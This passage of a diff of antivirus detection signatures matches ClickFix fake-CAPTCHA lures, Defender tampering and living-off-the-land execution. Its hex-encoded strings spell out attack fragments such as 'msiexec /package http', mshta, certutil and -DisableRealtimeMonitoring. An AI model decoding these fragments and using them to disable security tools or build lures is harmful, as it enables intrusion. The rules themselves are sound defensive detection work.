6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 4d 00 6f 00 64 00 65 00 5d 00 } //79 - $a_00_7 = {4f 00 70 00 65 00 6e 00 2c 00 20 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 46 00 69 00 6c 00 65 00 41 00 63 00 63 00 65 00 73 00 73 00 5d 00 3a 00 } //58 Open, [System.IO.FileAccess]: - $a_00_8 = {65 00 61 00 64 00 29 00 3b 00 24 00 6c 00 6e 00 6b 00 46 00 69 00 6c 00 65 00 2e 00 53 00 65 00 65 00 6b 00 28 00 30 00 78 00 0a 00 3c 00 5b 00 53 00 79 00 73 00 74 00 65 00 6d 00 2e 00 49 00 4f 00 2e 00 53 00 65 00 65 00 6b 00 4f 00 72 00 69 00 } //58 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*115+(#a_00_4 & 1)*116+(#a_00_5 & 1)*120+(#a_00_6 & 1)*79+(#a_00_7 & 1)*58+(#a_00_8 & 1)*58) >=243 - -} -rule _InfrastructureShared_26559{ +rule _InfrastructureShared_28269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 15 00 21 " @@ -347408,7 +369680,7 @@ rule _InfrastructureShared_26559{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_4 & 1)*32+(#a_00_6 & 1)*117+(#a_00_7 & 1)*67+(#a_00_9 & 1)*67+(#a_00_11 & 1)*105+(#a_73_12 & 1)*17455+(#a_00_13 & 1)*108+(#a_00_15 & 1)*99+(#a_00_17 & 1)*32+(#a_00_19 & 1)*47) >=31 } -rule _InfrastructureShared_26560{ +rule _InfrastructureShared_28270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -347419,30 +369691,7 @@ rule _InfrastructureShared_26560{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*108) >=4 } -rule _InfrastructureShared_26561{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1a 00 1a 00 15 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 50 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 08 00 68 00 74 00 74 00 70 00 01 00 06 00 69 00 77 00 72 00 05 } //21283 - $a_00_2 = {79 00 05 00 14 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 05 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 05 00 12 00 20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 } //114 - $a_00_5 = {69 00 70 00 20 00 46 00 52 00 45 00 45 00 05 00 14 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 05 00 10 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 05 00 12 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 05 00 24 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 } //99 - $a_00_6 = {6c 00 61 00 72 00 65 00 05 00 22 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 05 00 1c 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 05 00 1e 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 41 00 } //100 - $a_00_7 = {43 00 48 00 41 00 05 00 12 00 48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 05 00 10 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 72 00 05 00 1c 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 05 00 1e 00 } //80 - $a_00_8 = {6d 00 61 00 6e 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 05 00 6a 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 } //72 - $a_00_10 = {6e 00 6e 00 65 00 63 00 74 00 00 00 d7 96 02 00 29 00 29 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 54 61 6d 70 65 72 2e 44 00 0a 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 10 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 0a } //99 - $a_00_12 = {2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 01 00 34 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 01 00 34 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 } //101 - $a_00_13 = {6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 01 00 30 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 6c 00 6f 00 63 00 6b 00 41 00 74 00 46 00 69 00 72 00 73 00 74 00 53 00 65 00 65 00 6e 00 01 00 2c 00 2d 00 44 } //114 - $a_00_15 = {6c 00 65 00 49 00 4f 00 41 00 56 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 26 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 50 00 72 00 69 00 76 00 61 00 63 00 79 00 4d 00 6f 00 64 00 65 00 01 00 5a 00 2d 00 53 00 69 00 67 00 6e 00 61 00 74 00 75 00 72 00 65 00 } //97 - $a_00_16 = {73 00 61 00 62 00 6c 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 4f 00 6e 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 57 00 69 00 74 00 68 00 6f 00 75 00 74 00 45 00 6e 00 67 00 69 00 6e 00 65 00 01 00 2e 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 41 00 72 00 63 00 68 00 69 00 76 00 65 00 53 00 63 00 61 } //68 - $a_00_18 = {67 00 01 00 42 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 49 00 6e 00 74 00 72 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 65 00 76 00 65 00 6e 00 74 00 69 00 6f 00 6e 00 53 00 79 00 73 00 74 00 65 00 6d 00 01 00 2c 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 63 00 72 00 69 00 70 00 74 00 53 00 63 00 61 00 } //105 - $a_00_19 = {69 00 6e 00 67 00 0a 00 0a 00 24 00 74 00 72 00 75 00 65 00 00 00 d7 b4 02 00 01 00 01 00 0f 00 21 23 53 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 78 70 68 6f 74 54 61 73 6b 54 72 69 67 67 65 72 2e 41 00 01 00 2c 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 90 02 20 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 90 02 10 68 00 } //110 - $a_00_20 = {70 00 90 00 01 00 20 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 [0-20] 69 00 [0-10] 68 00 74 00 74 00 70 00 90 00 01 00 28 02 2e 00 65 00 78 00 65 00 20 00 [0-20] 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 [0-10] 68 00 74 00 74 00 70 00 90 00 01 00 1c 02 2e 00 65 00 78 00 65 00 20 00 [0-20] 69 00 [0-10] 68 00 74 00 74 00 70 00 } //116 - condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_5 & 1)*99+(#a_00_6 & 1)*100+(#a_00_7 & 1)*80+(#a_00_8 & 1)*72+(#a_00_10 & 1)*99+(#a_00_12 & 1)*101+(#a_00_13 & 1)*114+(#a_00_15 & 1)*97+(#a_00_16 & 1)*68+(#a_00_18 & 1)*105+(#a_00_19 & 1)*110+(#a_00_20 & 1)*116) >=26 - -} -rule _InfrastructureShared_26562{ +rule _InfrastructureShared_28271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,29 00 29 00 0d 00 21 " @@ -347453,14 +369702,66 @@ rule _InfrastructureShared_26562{ $a_00_4 = {4f 00 41 00 56 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 26 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 50 00 72 00 69 00 76 00 61 00 63 00 79 00 4d 00 6f 00 64 00 65 00 01 00 5a 00 2d } //101 $a_00_6 = {61 00 74 00 75 00 72 00 65 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 55 00 70 00 64 00 61 00 74 00 65 00 4f 00 6e 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 57 00 69 00 74 00 68 00 6f 00 75 00 74 00 45 00 6e 00 67 00 69 00 6e 00 65 00 01 00 2e 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 41 00 72 00 63 00 68 00 69 00 } //103 $a_00_7 = {53 00 63 00 61 00 6e 00 6e 00 69 00 6e 00 67 00 01 00 42 00 2d 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 49 00 6e 00 74 00 72 00 75 00 73 00 69 00 6f 00 6e 00 50 00 72 00 65 00 76 00 65 00 6e 00 74 00 69 00 6f 00 6e 00 53 00 79 00 73 00 74 00 65 00 6d 00 01 00 2c 00 2d 00 44 00 69 00 73 00 61 00 62 } //118 - $a_00_9 = {72 00 69 00 70 00 74 00 53 00 63 00 61 00 6e 00 6e 00 69 00 6e 00 67 00 0a 00 0a 00 24 00 74 00 72 00 75 00 65 00 00 00 d7 b4 02 00 01 00 01 00 0f 00 21 23 53 4c 46 3a 48 53 54 52 3a 57 69 6e 33 32 2f 44 65 78 70 68 6f 74 54 61 73 6b 54 72 69 67 67 65 72 2e 41 00 01 00 2c 02 6d 00 73 00 69 00 65 } //83 - $a_02_11 = {20 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 20 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 28 02 2e 00 65 00 78 00 65 00 20 00 90 02 20 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 1c 02 2e 00 65 00 78 00 65 00 20 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 2a 02 } //99 - $a_00_12 = {78 00 65 00 22 00 20 00 90 02 20 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 1e 02 2e 00 65 00 78 00 65 00 22 00 20 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 f6 ff 1d 02 77 00 69 00 6e 00 68 00 74 00 74 00 70 00 90 02 20 70 00 72 00 6f 00 78 00 } //46 + $a_00_9 = {72 00 69 00 70 00 74 00 53 00 63 00 61 00 6e 00 6e 00 69 00 6e 00 67 00 0a 00 0a 00 24 00 74 00 72 00 75 00 65 00 00 00 d7 98 02 00 0a 00 0a 00 17 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 53 43 00 0a 00 14 02 63 00 6d 00 64 00 90 08 00 02 68 00 74 00 } //83 + $a_00_10 = {90 00 0a 00 2a 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 0a 00 1a 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 0a 00 16 00 6d 00 73 00 69 00 65 00 } //116 + $a_00_11 = {63 00 2e 00 65 00 78 00 65 00 0a 00 16 00 6d 00 73 00 62 00 75 00 69 00 6c 00 64 00 2e 00 65 00 78 00 65 00 0a 00 18 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 0a 00 18 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 0a 00 14 00 77 00 68 00 6f } //120 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*108+(#a_00_4 & 1)*101+(#a_00_6 & 1)*103+(#a_00_7 & 1)*118+(#a_00_9 & 1)*83+(#a_02_11 & 1)*99+(#a_00_12 & 1)*46) >=41 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*97+(#a_00_2 & 1)*108+(#a_00_4 & 1)*101+(#a_00_6 & 1)*103+(#a_00_7 & 1)*118+(#a_00_9 & 1)*83+(#a_00_10 & 1)*116+(#a_00_11 & 1)*120) >=41 } -rule _InfrastructureShared_26563{ +rule _InfrastructureShared_28272{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 17 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 45 78 65 63 2e 53 43 00 0a 00 14 02 63 00 6d 00 64 00 90 08 00 02 68 00 74 00 74 00 70 00 90 00 0a 00 2a 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 70 } //21283 + $a_00_2 = {73 00 68 00 65 00 6c 00 6c 00 0a 00 12 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 0a 00 1a 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 0a 00 16 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 0a 00 16 00 6d 00 73 00 62 00 75 00 69 00 6c 00 64 00 2e 00 65 00 78 00 65 00 } //101 + $a_00_3 = {63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 } //10 certutil.exe + $a_00_4 = {73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 } //10 schtasks.exe + $a_00_5 = {77 00 68 00 6f 00 61 00 6d 00 69 00 2e 00 65 00 78 00 65 00 } //10 whoami.exe + $a_00_6 = {77 00 67 00 65 00 74 00 2e 00 65 00 78 00 65 00 } //10 wget.exe + $a_00_7 = {63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 } //10 curl.exe + $a_02_8 = {77 00 6d 00 69 00 63 00 [0-10] 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 63 00 61 00 6c 00 6c 00 20 00 63 00 72 00 65 00 61 00 74 00 65 00 } //10 + $a_00_9 = {6e 00 65 00 74 00 20 00 75 00 73 00 65 00 72 00 20 00 } //10 net user + $a_00_10 = {6e 00 65 00 74 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 67 00 72 00 6f 00 75 00 70 00 20 00 } //10 net localgroup + $a_00_11 = {74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 } //10 taskkill + $a_00_12 = {6d 00 73 00 70 00 61 00 69 00 6e 00 74 00 2e 00 65 00 78 00 65 00 } //10 mspaint.exe + $a_00_13 = {63 00 61 00 6c 00 63 00 2e 00 65 00 78 00 65 00 } //10 calc.exe + $a_00_14 = {65 00 63 00 68 00 6f 00 } //10 echo + $a_00_15 = {61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 3a 00 62 00 61 00 73 00 69 00 63 00 } //-100 authorization:basic + $a_00_16 = {65 00 6e 00 76 00 69 00 6f 00 } //-100 envio + $a_00_17 = {2d 00 2d 00 68 00 65 00 61 00 64 00 65 00 72 00 } //-100 --header + $a_00_18 = {2d 00 2d 00 74 00 72 00 61 00 63 00 65 00 2d 00 74 00 69 00 6d 00 65 00 } //-100 --trace-time + $a_00_19 = {5c 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 } //-100 \cmd.exe /c start + $a_a7_20 = {00 1f 00 1f 00 16 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4a 21 4d 54 42 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 04 00 5c 00 31 00 01 00 08 00 20 00 72 00 61 00 79 00 01 00 14 00 20 00 72 00 65 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 12 00 20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 14 00 20 00 63 00 6c 00 69 00 70 00 20 00 46 00 52 00 45 00 45 00 01 00 14 00 20 } //0 + $a_00_22 = {20 00 46 00 52 00 45 00 45 00 01 00 10 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 01 00 12 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 01 00 24 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 01 00 22 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_02_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*-100+(#a_00_16 & 1)*-100+(#a_00_17 & 1)*-100+(#a_00_18 & 1)*-100+(#a_00_19 & 1)*-100+(#a_a7_20 & 1)*0+(#a_00_22 & 1)*101) >=10 + +} +rule _InfrastructureShared_28273{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1f 00 1f 00 16 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 4a 21 4d 54 42 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 0a 00 08 00 68 00 74 00 74 00 70 00 0a 00 04 00 5c 00 31 00 01 00 08 00 20 00 72 00 61 00 79 00 01 } //21283 + $a_00_2 = {63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 20 00 72 00 65 00 20 00 63 00 61 00 70 00 74 00 63 00 68 00 61 00 01 00 16 00 50 00 72 00 65 00 73 00 73 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 12 00 20 00 72 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 14 00 20 00 63 00 6c 00 69 00 70 } //114 + $a_00_4 = {45 00 01 00 14 00 20 00 4f 00 76 00 65 00 72 00 20 00 46 00 52 00 45 00 45 00 01 00 10 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 72 00 01 00 12 00 72 00 6f 00 62 00 6f 00 74 00 20 00 2d 00 20 00 72 00 01 } //82 + $a_00_6 = {6f 00 74 00 20 00 2d 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 01 00 22 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 6c 00 6f 00 75 00 64 00 66 00 6c 00 61 00 72 00 65 00 01 00 1c 00 72 00 6f 00 62 00 6f 00 74 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 } //111 + $a_00_7 = {1e } //65 + $a_00_9 = {74 00 20 00 2d 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 12 00 48 00 75 00 6d 00 61 00 6e 00 20 00 2d 00 20 00 72 00 01 00 10 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 72 00 01 00 1c 00 48 00 75 00 6d 00 61 00 6e 00 3a 00 20 00 43 00 41 00 50 00 54 00 43 00 48 00 41 00 01 00 1e 00 48 00 75 00 6d 00 61 00 6e 00 20 } //98 + $a_00_11 = {50 00 54 00 43 00 48 00 41 00 01 00 6a 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 3a 00 20 00 46 00 69 00 78 00 20 00 49 00 6e 00 74 } //67 + $a_00_13 = {74 00 20 00 44 00 4e 00 53 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 20 00 72 00 65 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 9c ff 24 00 6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 00 00 d7 b4 02 00 01 00 01 00 0f 00 21 23 53 } //110 + $a_48_14 = {54 52 3a 57 69 6e 33 32 2f 44 65 78 70 68 6f 74 54 61 73 6b 54 72 69 67 67 65 72 2e 41 00 01 00 2c 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 90 02 20 70 00 61 00 63 00 6b } //17996 + $a_02_16 = {10 68 00 74 00 74 00 70 00 90 00 01 00 20 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 28 02 2e 00 65 00 78 00 65 00 20 00 90 02 20 70 00 61 00 63 00 6b 00 61 00 67 00 65 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 1c 02 2e 00 65 00 78 00 65 00 20 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 2a 02 2e 00 65 00 78 00 65 00 22 00 20 00 90 02 20 70 00 } //101 + $a_00_17 = {6b 00 61 00 67 00 65 00 90 02 10 68 00 74 00 74 00 70 00 90 00 01 00 1e 02 2e 00 65 00 78 00 65 00 22 00 20 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 f6 ff 1d 02 77 00 69 00 6e 00 68 00 74 00 74 00 70 00 90 02 20 70 00 72 00 6f 00 78 00 79 00 90 00 f6 ff 24 00 20 00 68 00 74 00 74 } //97 + $a_00_19 = {2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 f6 ff 22 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 } //58 + $a_00_21 = {74 00 f6 ff 33 02 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 20 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 90 00 f6 ff 3f 02 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 20 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2e 00 63 } //111 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_4 & 1)*82+(#a_00_6 & 1)*111+(#a_00_7 & 1)*65+(#a_00_9 & 1)*98+(#a_00_11 & 1)*67+(#a_00_13 & 1)*110+(#a_48_14 & 1)*17996+(#a_02_16 & 1)*101+(#a_00_17 & 1)*97+(#a_00_19 & 1)*58+(#a_00_21 & 1)*111) >=31 + +} +rule _InfrastructureShared_28274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 0f 00 21 " @@ -347471,16 +369772,57 @@ rule _InfrastructureShared_26563{ $a_00_3 = {70 00 90 00 01 00 1e 02 2e 00 65 00 78 00 65 00 22 00 20 00 90 02 20 69 00 90 02 10 68 00 74 00 74 00 70 00 90 00 f6 ff 1d 02 77 00 69 00 6e 00 68 00 74 00 74 00 70 00 90 02 20 70 00 72 00 6f 00 78 00 79 00 90 00 f6 ff 24 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 f6 ff 22 00 20 } //116 $a_00_5 = {3a 00 2f 00 2f 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 f6 ff 33 02 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 20 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 90 00 f6 ff 3f 02 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 20 6d 00 69 00 63 00 72 00 } //116 $a_00_6 = {6f 00 66 00 74 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 2e 00 63 00 6f 00 6d 00 2f 00 90 00 f6 ff 2e 00 5c 00 54 00 6f 00 6b 00 65 00 6e 00 42 00 72 00 6f 00 6b 00 65 00 72 00 43 00 6f 00 6f 00 6b 00 69 00 65 00 73 00 2e 00 65 00 78 00 65 00 f6 ff 1f 80 01 68 74 74 70 73 3a 2f 2f 63 61 6e 6f 6e 69 6e 63 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f } //111 - $a_33_7 = {68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 90 02 0a 2e 00 63 00 67 00 6e 00 2e 00 63 00 61 00 6e 00 6f 00 6e 00 2e 00 63 00 6f 00 2e 00 6a 00 70 00 90 00 f6 ff 1c 02 68 74 74 70 3a 2f 2f 90 02 0a 2e 63 67 6e 2e 63 61 6e 6f 6e 2e 63 6f 2e 6a 70 90 00 0a 00 d7 e4 02 00 02 00 02 00 0d 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 65 72 52 65 6d 6f 74 65 50 72 6f 63 2e 41 00 02 00 4b 02 73 00 63 00 90 02 08 20 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 20 00 73 00 74 00 61 00 72 00 74 00 3d 00 20 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 90 00 02 00 44 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 41 00 6e 00 74 00 69 00 6d 00 61 00 6c 00 77 00 61 00 72 00 65 00 } //-2451 - $a_00_8 = {78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 73 00 5c 00 02 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 5c 00 45 00 78 00 63 00 6c 00 75 } //92 - $a_00_10 = {73 00 5c 00 02 00 30 00 5c 00 57 00 4d 00 49 00 5c 00 41 00 75 00 74 00 6f 00 6c 00 6f 00 67 00 67 00 65 00 72 00 5c 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 00 02 00 2a 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 49 00 4f 00 41 00 56 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 02 00 32 00 44 00 69 00 } //111 - $a_00_11 = {62 00 6c 00 65 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 02 00 32 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 42 00 65 00 68 00 61 00 76 00 69 00 6f 00 72 00 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 69 00 6e 00 67 00 02 } //115 - $a_00_13 = {61 00 62 00 6c 00 65 00 4f 00 6e 00 41 00 63 00 63 00 65 00 73 00 73 00 50 00 72 00 6f 00 74 00 65 00 63 00 74 00 69 00 6f 00 6e 00 02 00 36 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 53 00 63 00 61 00 6e 00 4f 00 6e 00 52 00 65 00 61 00 6c 00 74 00 69 00 6d 00 65 00 45 00 6e 00 61 00 62 00 6c 00 65 00 02 00 24 00 44 00 69 00 73 00 61 00 62 } //105 + $a_33_7 = {68 00 74 00 74 00 